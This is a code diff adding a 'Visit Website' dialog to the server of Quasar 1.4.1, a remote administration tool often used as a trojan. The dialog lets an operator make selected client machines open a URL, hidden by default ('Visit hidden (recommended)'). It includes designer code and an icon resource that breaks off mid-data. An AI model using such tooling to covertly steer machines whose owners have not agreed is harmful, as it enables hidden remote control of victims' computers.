b/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs new file mode 100755 index 0000000..0bdf685 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.Designer.cs @@ -0,0 +1,107 @@ +namespace Quasar.Server.Forms +{ + partial class FrmVisitWebsite + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FrmVisitWebsite)); + this.chkVisitHidden = new System.Windows.Forms.CheckBox(); + this.lblURL = new System.Windows.Forms.Label(); + this.txtURL = new System.Windows.Forms.TextBox(); + this.btnVisitWebsite = new System.Windows.Forms.Button(); + this.SuspendLayout(); + // + // chkVisitHidden + // + this.chkVisitHidden.AutoSize = true; + this.chkVisitHidden.Checked = true; + this.chkVisitHidden.CheckState = System.Windows.Forms.CheckState.Checked; + this.chkVisitHidden.Location = new System.Drawing.Point(48, 38); + this.chkVisitHidden.Name = "chkVisitHidden"; + this.chkVisitHidden.Size = new System.Drawing.Size(170, 17); + this.chkVisitHidden.TabIndex = 2; + this.chkVisitHidden.Text = "Visit hidden (recommended)"; + this.chkVisitHidden.UseVisualStyleBackColor = true; + // + // lblURL + // + this.lblURL.AutoSize = true; + this.lblURL.Location = new System.Drawing.Point(12, 9); + this.lblURL.Name = "lblURL"; + this.lblURL.Size = new System.Drawing.Size(30, 13); + this.lblURL.TabIndex = 0; + this.lblURL.Text = "URL:"; + // + // txtURL + // + this.txtURL.Location = new System.Drawing.Point(48, 6); + this.txtURL.Name = "txtURL"; + this.txtURL.Size = new System.Drawing.Size(336, 22); + this.txtURL.TabIndex = 1; + // + // btnVisitWebsite + // + this.btnVisitWebsite.Location = new System.Drawing.Point(246, 34); + this.btnVisitWebsite.Name = "btnVisitWebsite"; + this.btnVisitWebsite.Size = new System.Drawing.Size(138, 23); + this.btnVisitWebsite.TabIndex = 3; + this.btnVisitWebsite.Text = "Visit Website"; + this.btnVisitWebsite.UseVisualStyleBackColor = true; + this.btnVisitWebsite.Click += new System.EventHandler(this.btnVisitWebsite_Click); + // + // FrmVisitWebsite + // + this.AcceptButton = this.btnVisitWebsite; + this.AutoScaleDimensions = new System.Drawing.SizeF(96F, 96F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Dpi; + this.ClientSize = new System.Drawing.Size(396, 72); + this.Controls.Add(this.chkVisitHidden); + this.Controls.Add(this.lblURL); + this.Controls.Add(this.txtURL); + this.Controls.Add(this.btnVisitWebsite); + this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); + this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog; + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.MaximizeBox = false; + this.MinimizeBox = false; + this.Name = "FrmVisitWebsite"; + this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; + this.Text = "Visit Website []"; + this.Load += new System.EventHandler(this.FrmVisitWebsite_Load); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private System.Windows.Forms.CheckBox chkVisitHidden; + private System.Windows.Forms.Label lblURL; + private System.Windows.Forms.TextBox txtURL; + private System.Windows.Forms.Button btnVisitWebsite; + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.cs b/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.cs new file mode 100755 index 0000000..3933350 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.cs @@ -0,0 +1,41 @@ +using System; +using System.Windows.Forms; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Helper; +using Quasar.Server.Forms.DarkMode; +using Quasar.Server.Models; +using Quasar.Server.Utilities; + +namespace Quasar.Server.Forms +{ + public partial class FrmVisitWebsite : Form + { + public string Url { get; set; } + public bool Hidden { get; set; } + + private readonly int _selectedClients; + + public FrmVisitWebsite(int selected) + { + _selectedClients = selected; + InitializeComponent(); + } + + private void FrmVisitWebsite_Load(object sender, EventArgs e) + { + if (Settings.DarkMode) { DarkModeManager.ApplyDarkMode(this); } + ThemeManager.ApplyThemeToNewForm(this); + this.Text = WindowHelper.GetWindowTitle("Visit Website", _selectedClients); + } + + private void btnVisitWebsite_Click(object sender, EventArgs e) + { + Url = txtURL.Text; + Hidden = chkVisitHidden.Checked; + + this.DialogResult = DialogResult.OK; + this.Close(); + } + } +} \ No newline at end of file diff --git a/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.resx b/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.resx new file mode 100755 index 0000000..2c59259 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Server/Forms/FrmVisitWebsite.resx @@ -0,0 +1,659 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAQAEBAAAAAAIABoBAAARgAAACAgAAAAACAAqBAAAK4EAAAwMAAAAAAgAKglAABWFQAAQEAAAAAA + IAAoQgAA/joAACgAAAAQAAAAIAAAAAEAIAAAAAAAQAQAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af// + /wH///8B////Af///wE/LyhBOSkiyzkpIslBMSo9////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUg4MSE6KiOrNycg/T4uJ/87KyT/Nycg/TsrJKdKOjMf////Af///wH///8B////Af// + /wH///8BXExFCzsrJIE3JyD1OSki/zkpIv9PQDr/Szs1/zkpIv84KCH/Nycg8zsrJH0/LygL////Af// + /wH///8BPCwlVTcnIOE4KCH/OCgh/zcnIP81JR7/YVRP/1pMRv82Jh//OCgh/zgoIf84KCH/OCgh3zws + JVH///8BWUlCJTcnIPc4KCH/QzQt/4B1cP+Dd3L/fnJt/6uioP+jmpb/bF9Z/2pcVf9jVU7/PCwl/zgo + If84KCHza1tUH1NDPCs3JyD7eGtm/4J2cv87KyT/MSEa/z8vKP+vpqL/q6Ke/z0tJ/82JyD/NSUe/1pL + Rf9QQDr/OCgh9W5eVyNTQzwrNiYf+4h8eP83JyD/YFBJ/7yspf+woZv/iXt1/41+d/+Gdm7/bl5X/0Ex + Kv84KCH/U0M8/zUlHvVuXlcjU0M8KzcnIPs1JB3/c2Nc/5CAef/IuLH/qaGf//7+/v/+/v7/3dXR/6ub + lP/Nvbb/WUlC/04+N/84KCH1bl5XI1NDPCs4KCH7OCgh/35uZ/+Tg3z/hHRu/5SIg//9/f3//v39/97S + zP9pWVP/0sK7/1dHQP83JyD/OSki9W5eVyNTQzwrOCgh+zkpIv82Jh//YFBJ/5mJgv+zopv/6+bj/9vW + 1P9pWFH/eGhi/0w8Nf83JyD/OSki/zkpIvVuXlcjU0M8KzgoIfs5KSL/OCgh/zwsJf84KCH/NiYf/5GI + hP+MgX3/Nycg/zgoIf9aTEb/WUtG/zkpIv85KSL1bl5XI1ZGPyc4KCH5OCgh/zgoIf+upqP/TT85/zgo + If9uYl3/aVxX/zgoIf84KCH/kIaC/5CGgv84KCH/OCgh83BgWSGHd3ADPi4nYTgoIek4KCH/Sjs0/zUl + Hv84KCH/WUtF/1FDPf9BMSr/loyI/zsrJP88LCX/OSki5z4uJ13///8B////Af///wFKOjMROyskjTgo + Ifk4KCH/OSki/0Y2L/9DMyz/OCgh/zUlHv84KCH5Oioji1NDPA////8B////Af///wH///8B////Af// + /wFGNi8pOCghtTgoIf84KCH/OCgh/zcnIP06KiOxQTEqJ////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wE8LCVJOCgh0zgoIdE+LidH////Af///wH///8B////Af///wH///8BAAD//wAA + //8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//wAA//8AAP//AAD//ygA + AAAgAAAAQAAAAAEAIAAAAAAAgBAAAAAAAAAAAAAAAAAAAAAAAAD///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8Bbl5XBUY2L105KSLTOioj0U09NlVWRj8D////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AU8/ODs6KiPBNSUe/zkpIv83JyD/NCQd/Toq + I7tZSUI1////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AWtbVB8+LiedNiYf9zcnIP85KSL/OSki/zcn + IP83JyD/NiYf/zUlHvVCMiubZVVOGf///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVJCOwlHNzB3Nycg7zYmH/85KSL/OCgh/zkp + Iv9NPTb/RTUu/zgoIf84KCH/OCgh/zYmH/83JyDrSTkycWNTTAf///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AUs7NANPPzhROCgh1zUlHv85KSL/OSki/zkp + Iv85KSL/OSki/1xNRv9XR0D/OSki/zkpIv85KSL/OSki/zgoIf80JB3/Oioj0UExKkVgUEkD////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFcTEUtPS0mtTMjHP04KCH/OCgh/zkp + Iv85KSL/OSki/zkpIv83KCH/cGNe/2FUT/85KSL/OSki/zkpIv85KSL/OSki/zgoIf84KCH/NSUe/UAw + KbE/Lygn////Af///wH///8B////Af///wH///8B////Af///wFUQzwVQTEqkzMjHPU3JyD/OCgh/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/zMjHP+Ngnz/eGtl/zYmH/85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/Nycg/zUlHvNAMCmNTz84E////wH///8B////Af///wGyopsDSTkyVTUlHuU1JR7/OSki/zgo + If84KCH/OCgh/zgoIf83JyD/NSUe/zQkHf8xIBn/JRYQ/56Wk/+Sh4P/KRgS/zMiG/81JR7/Nycf/zgo + If84KCH/OCgh/zkpIv85KSL/OCgh/zYmH/83JyDjRjYvTf///wH///8B////AWNTTD82Jh/pOCgh/zkp + Iv85KSL/OSki/zUkHf8sHBT/OSkh/1pKRP+He3b/pp6a/7KrqP+1ran/6eXk/+Da2P+upJ//opiU/46B + fP9uYFr/Szw2/zMjHP8xIBn/OCgh/zkpIv85KSL/OSki/zgoIf81JR7haFhRM////wH///8BUUE6VTgo + IfU4KCH/OSki/zYmH/8vHRb/cWRf/8K7uP/Y09H/raWh/4B0b/9cTEb/RDQs/yoZFP/k4N7/2NPR/ykX + D/85KSL/SToz/2ZXUP+JfHb/npGL/4t/ev9QQTr/Lh4W/zkpIv84KCH/OSki/zgoIe1uXldF////Af// + /wFTQzxTNycg9TgoIf8wIBj/X09J/9rW1P+upqL/UUI7/y0cFP8sHBT/MyMc/zkpIv87KyT/SDgw//n4 + 9//18/P/PCwl/zssJf85KSP/OSki/zIiG/8sHBT/OCgg/21gWf+UiIL/Py8n/zYnIP85KSL/OCgh625e + V0P///8B////AVNDPFM3JyD1NSUf/21fWf/k4N//U0M8/y0cFP83Jh//OCgh/zIiG/8zIxz/Py8o/0k4 + Mv+HeXX/9e7r//n08f+CdXH/Rzcw/zoqI/84KCH/OCgh/zcnIP85KSL/NCQd/zIhGv+JeXP/RDQt/zkp + Iv84KCHrbl5XQ////wH///8BU0M8UzgoIfUzIhv/4dzb/1JCPf82Jh//OCgh/zYmH/9AMCn/lYV+/8Cw + qf/Pv7j/3c3G/8Gxqv+Id3H/X05H/1REPv9MPDX/Oioj/zEhGv8vHxj/NCQd/zgoIf85KSL/OSki/y4e + F/+Ab2n/MyMc/zgoIetuXldD////Af///wFTQzxTOCgh9TYnIP+7sq//MSAZ/zcnIP82Jh//Pi4n/8y8 + tf/QwLn/zLy1/8W1rv9RQj//UUM+/4yAfP+6raj/x7ix/8a1rf/Lu7T/uqqj/56Oh/9nV1D/MyMc/zcn + IP84KCH/Lx8Y/3FhWv8xIRr/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/y0cFP85KSL/QjIr/3Zm + X/9pWVL/1cW+/8y8tf/Ovrf/RTg0/8rEwf/+/f3///7+///////+/f3/7+jl/6SUjP/Nvbb/0MC5/9XF + vv/EtK3/Rzcw/zYmH/9FNS7/X09I/zgoIf84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OCgh/zUl + Hv9tXVb/p5eQ/zgoIf/Lu7T/z7+4/7ioof+WjIj///7+///+/v/////////////+/v//////4dnV/1FA + Ov+/r6j/zb22/86+t/+snJX/PS0m/19PSP80JB3/OSki/zgoIetuXldD////Af///wFTQzxTNycg9Tgo + If85KSL/Nycg/1lJQv/czMX/eWli/zUlIP+Ccmz/t6eg/6KTjP/39vX///////////////////////z5 + +f/YycL/fm5n/2JSTP/Vxb7/zb22/6ublP8xIRr/NSUe/zgoIf85KSL/OCgh625eV0P///8B////AVND + PFM3JyD1OCgh/zkpIv85KSL/MCAZ/5SEff/ezsf/wbGq/39vaf9aSkT/Tz84/2lZUv/6+fj///7+///+ + /v/8+/r/0MC5/9TFvv9BMSv/hHRt/9fHwP/Pv7j/Sjoz/zcnIP84KCH/OCgh/zkpIv84KCHrbl5XQ/// + /wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv84KCH/MCAZ/2ZWT/+1pZ7/2srD/97Ox//by8T/08K6/+/o + 5P///v7///7+//Lr5/+9rKX/Tz84/29gW//UxL3/kIB5/zsrJP82Jh//OCgh/zkpIv85KSL/OSki/zgo + IetuXldD////Af///wFTQzxTNycg9TgoIf85KSL/OSki/zgoIf84KCH/NSUe/zAgGf9ENC3/ZlZP/4V1 + bv+YiIH/vrKt//////////7/fnBs/zQkHf9jU03/ZVVO/zkpIv8wIBn/NiYf/zYmH/84KCH/OSki/zkp + Iv85KSL/OCgh625eV0P///8B////AVNDPFM3JyD1OCgh/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgo + If83JyD/NCQd/zMjHP8+Lin/9/b2//Py8f84JyD/OCgh/zYmH/83JyD/OCgh/zgoIf9PQDr/Tj44/zkp + Iv85KSL/OSki/zkpIv84KCHrbl5XQ////wH///8BU0M8UzcnIPU4KCH/OSki/zkpIv85KSL/OCgh/zgp + If9HNjD/Nych/zgoIf84KCH/OCgh/y0cFP/k4N7/2NPR/ysaE/84KCH/OCgh/zkpIv85KSL/KxsV/7Sr + qf+1rKr/KxsV/zkpIv85KSL/OSki/zgoIetuXldD////Af///wFRQTpVNycg9TgoIf85KSL/OSki/zkp + Iv84KCH/TkA8/9jRzv9AMy7/Nycg/zkpIv84KCH/KhkS/8C4tf+yqqb/LR0W/zkpIv85KSL/OSki/zUl + Hv9wYlv//v39//79/f9vYVv/NSUe/zkpIv85KSL/OCgh7W1dVkX///8B////AVpKQ0U3JyDtOSki/zkp + Iv84KCH/OSki/zcnIP+nnZj/7uvp/46EgP8xIBn/OSki/zkpIv8vHxj/oJeU/5SJhP8xIRv/OSki/zYm + H/8+Lif/NSQd/ywcFv+nnpr/p56a/ywcFv85KSL/OSki/zkpIv83JyDlc2NcOf///wH///8Bh3dwBUU1 + Lmc3JyDzNycg/zgoIf85KSL/OCgh/zEgGv+Ngn3/LBsV/zkpIv85KSL/OSki/zMjHP+Lf3r/dWlk/zYn + IP86KiP/U0Q///n49/91Z2L/MyMc/0o6M/9IODL/OSki/zkpIv83JyD/NCQd70o6M1+jk4wD////Af// + /wH///8B////AVVFPiU/LyipNiYf+zgoIf84KCH/OCgh/zEhGv85KSL/OCgh/zkpIv84KCH/OCgh/29i + Xf9hU0//Oioj/zkpIv89LCX/n5aS/0o8Nf84KCH/NyYg/zYmH/84KCH/NSUe+UIyK6NeTkch////Af// + /wH///8B////Af///wH///8B////Af///wFJOTJBOyskyTQkHf85KSL/OSki/zkpIv85KSL/OSki/zkp + Iv85KSL/W0tF/1ZHQP85KSL/OSki/zgpIv8uHhb/Nycg/zkpIv85KSL/NSUe/zsrJMdSQjs7////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFpWVIHSjozZTcnIOc3JyD/OCgh/zgo + If85KSL/OSki/zkpIv9LOzT/RjYv/zgoIf85KSL/OCgh/zcnIP84KCH/Nycg/zoqI+VFNS5deGhhBf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BTz84E0Q0 + LY00JB31NiYf/zkpIv85KSL/OSki/zkpIv83JyD/OCgh/zkpIv84KCH/Nycg/zgoIfM+LyiFWEhBEf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUExKi0/LyizNSUe+zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zQkHfs+LierSDgyKf// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////AV1NRgNBMSpHOiojzzMjHP84KCH/OCgh/zQkHf86KiPNRzcwQ/// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wFVRT4JSjozbzYmH+E4KCHfQjIraUg4 + MQn///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8BAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAoAAAAMAAAAGAAAAABACAAAAAAAIAlAAAAAAAAAAAAAAAAAAAAAAAA////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wFuXlYDUEA5Kz8vKHs8LCXNPy8oyUY2L3NURD0lVkY/A////wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////AUU1LhVGNi9ZPS0mwzQkHfc2Jh//NSUe/zYmH/U7KyS7RTUuT0o6MxP///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8BV0dAQz4uJ6M2Jh/nNSUe/zgoIf85KSH/Nycg/zcnIP82Jh/9Nycg40U1 + Lp1VRT45////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8Ba1tUCVNDPDVDMyyNOSki7zMjHP83JyD/OSki/zkpIv84KCH/Nycg/zgo + If83JyD/NiYf/zIiG/83JyDpRTUui1hIQTFjU0wH////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wFeTkcbRDQteT0tJs81JR75NSUe/zgoIf83KCH/OSki/zYm + H/9JOTL/Py8o/zYmH/83JyD/Nycg/zcnIP82Jh//NSUe+TwsJcdCMitxaFdRF////wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8BUkI6B1JCO0lAMCmzNSUe8zYmH/84KCH/OSki/zgo + If84KCH/OCgh/zEhGv9jU0z/WEhB/zIiG/84KCH/OCgh/zgoIf84KCH/OCgh/zYmH/82Jh/xQDApr1pK + Q0NjU0wF////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////AVREPQ1TQzw5QDApsTMjHPM1JR7/OSki/zkp + Iv85KSL/OSki/zkpIv85KSL/OCgh/y0dFv94aWL/cF9Y/y0dFv85KSL/OSki/zkoIf85KSL/OSki/zko + If84KCH/NCQd/zMjHPFFNS6pRTUuMUc3MAv///8B////Af///wH///8B////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wGAb2gDUUE6LzwsJYM6KiPXNSUe/zcn + IP84KCH/OSkh/zkpIv85KCH/OSkh/zkpIv85KCH/OCki/ysaE/+He3b/f3Bq/ysaFP84KCH/OCgi/zkp + Iv85KCH/OCgi/zkpIv84KCH/OCgh/zcnIP80JB3/NiYfz0ExKntcTEUr////Af///wH///8B////Af// + /wH///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////AVhIQQ9cTEVVPCwlzTQk + HfM2Jh//OCgh/zgoIf84KCH/OSkh/zgoIf85KSH/OSkh/zgoIf85KSH/Nycg/ysbE/+dk4//h3x4/ygY + Ef85KSL/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OCgh/zgoIf84KCH/Nycg/zYmH/M8LCXJPCwlTVJD + Owv///8B////Af///wH///8B////Af///wH///8B////Af///wH///8B////Af///wFUQzwRTDw1Vzkp + IrswIBn3NSUe/zgoIf84KCH/OSki/zkpIv85KSL/OSki/zkpIv85KSL/OSki/zkpIv84KCH/NiYf/y8f + F/+3rqr/m5KN/ywbFP83KCH/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkoIf85KSL/OSki/zkp + Iv81JR7/NCQd9z8vKLdGNi9PTz83D////wH///8B////Af///wH///8B////Af///wH///8BXExFB0s7 + NDc7KySPOSki6zUlHv03JyD/OCgh/zgoIf84KCH/OSkh/zkpIv85KCH/OCgh/zgoIf84KCH/OSkh/zkp + Iv84KCH/NSQd/zQjHP/Dvbn/sqii/zEgGP82JiD/OCgh/zgoIf84KCH/OCgh/zgoIf84KCH/OCgh/zkp + Iv85KCH/OCgi/zkpIv85KSL/Nycg/zUlHv02Jh/lPy8oiUg4MTNFNS0F////Af///wH///8B////Af// + /wGyopsFWkpDVTMjHM80JB33NiYf/zgoIf85KSL/OCgh/zkpIv84KCH/Nycg/zgoIf84KCH/Nycg/zUl + Hf80JBz/MiIb/zAfGP8sHBT/JhYQ/y8iHv/KxsT/wLq3/ykZFP8oGBH/Lx8Y/zIiG/80JB3/NiYe/zcn + IP84KCH/OCgh/zcnIP84KCH/OSki/zkpIv85KSL/OCgh/zgoIf83JyD/NiYf9zcnIMlPPzhJWUpDA/// + /wH///8B////Af///wFuXldRPi4n1TAgGf84KCH/OSki/zkpIv85KSL/OSki/zkpIv82Jh//MSEa/zAg + GP81JR3/Pi0m/0s7Nf9kVU7/d2tl/4Z8d/+TiIT/m5CL/7Cmov/u7Or/5+Ti/6CTj/+TiIT/gnZx/3Nm + YP9lVlD/Tj84/0Q0Lf86KiT/MyMc/zIiG/81JR3/OCgh/zkpIv85KSL/OSki/zkoIf85KSL/OCgh/zMj + HP85KSLLYFBJQf///wH///8B////Af///wFSQjt/Oysk8TUlHv84KCH/OSki/zkpIv86KiP/NSUe/y4d + Ff8wHhf/Tj44/3VoY/+gl5T/wbq3/8vFw//W0M7/z8nG/721sv+ooZ7/lIuI/7CopP/18/P/8O3s/6SY + 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 + HP8+LifjbV5XZf///wH///8B////Af///wFTQzx9Oysk8TQkHf84KCH/OCgh/zkpIv8xIRr/UUE6/8m5 + sv+Whn//JhYP/3NjXP/Rwbr/1MO8/9bFv/+nl4//bmFc//v5+f///v7///7+//7+/v/////////////+ + /v///v7///////79/f/g1M7/YE9J/11NR//Gtq//z7+4/8y8tf/Ovrf/x7ew/1ZGP/9VRT7/W0tE/zkp + Iv82Jh//OSki/zMjHP8+Lifjbl5XZf///wH///8B////Af///wFSQzx9Oysk8TQkHf84KCH/OSki/zkp + Iv81JR7/Rzcw/7urpP/ZycL/cmJb/y4eF/9JOTP/nIyF/7+vqP/MvLX/koJ8/9XPzP/9/Pz///////// + /////////////////////////v39//Hq5//Xx8D/oZGK/ywcGP+IeHL/2cnC/8y8tf/Nvbb/x7ew/1dH + QP85KSL/MiIb/zcnIP83KCH/OSki/zMjHP8+LifjbV1XZf///wH///8B////Af///wFSQzx9Oysk8TQk + Hf84KCH/OSki/zkpIv85KSL/MyMc/4R0bf/XxsD/zr63/5eHgf9XR0L/OSoj/0Q1MP9cTEb/cmFa/3xu + aP/DvLn///////7+/v///////v7+////////////7ufk/9TFvv/Xx8D/jX12/ygYEf+BcWr/2cnC/829 + 